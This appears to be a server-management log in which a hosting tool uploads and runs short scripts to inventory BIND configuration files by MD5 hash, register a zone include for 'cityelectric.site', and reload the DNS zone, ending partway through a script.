MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 221d19961176ae4fe6e267aced990fb7
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:01:48: Establishing a remote connection
2026-02-09 15:01:49: Establishing a remote connection
2026-02-09 15:01:49: 

PUT: /tmp/pkp195647

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-09 15:01:49: 

chmod 755 /tmp/pkp195647; /tmp/pkp195647; rm /tmp/pkp195647



0


2026-02-09 15:01:52: Establishing a connection
2026-02-09 15:01:52: Establishing a connection
2026-02-09 15:01:52: 

PUT: /tmp/pkp115859

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:01:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp115859; rm /tmp/pkp115859'

2026-02-09 15:01:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 221d19961176ae4fe6e267aced990fb7
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:01:53: 

PUT: /tmp/pkp991605

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:01:53: 

chmod 755 /tmp/pkp991605; /tmp/pkp991605; rm /tmp/pkp991605

2026-02-09 15:01:56: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:01:56: 

PUT: /tmp/pkp639091

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:01:56: 

chmod 755 /tmp/pkp639091; /tmp/pkp639091; rm /tmp/pkp639091

2026-02-09 15:01:56: 


zone reload queued


2026-02-09 15:03:19: Establishing a connection
2026-02-09 15:03:19: 

PUT: /tmp/pkp787135

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
